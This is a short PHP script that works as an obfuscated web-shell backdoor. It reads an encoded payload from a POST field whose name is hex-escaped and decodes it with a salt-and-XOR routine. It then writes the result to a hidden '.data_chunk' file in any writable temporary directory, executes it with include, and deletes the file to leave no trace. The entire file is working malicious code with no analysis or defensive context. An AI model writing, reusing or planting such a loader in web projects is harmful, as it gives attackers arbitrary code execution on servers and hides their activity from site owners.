<?php

if(array_key_exists("m\x72\x6B", $_POST) && !is_null($_POST["m\x72\x6B"])){
	$ent = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), getcwd()]);
	$flg = $_POST["m\x72\x6B"];
		  $flg			= explode		(  "."	 , 		$flg	) ;	 	
	$record = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
    
            foreach($flg as $s => $v9) { $chS = ord($salt[$s  %  $sLen]);
                $d =((int)$v9 - $chS -($s  %  10)) ^ 15;
                $record .= chr($d); 	} 
	while ($ref = array_shift($ent)) {
    		if (max(0, is_dir($ref) * is_writable($ref))) {
    $flag = join("/", [$ref, ".data_chunk"]);
    $success = file_put_contents($flag, $record);
if ($success) {
	include $flag;
	@unlink($flag);
	exit;}
}
}
}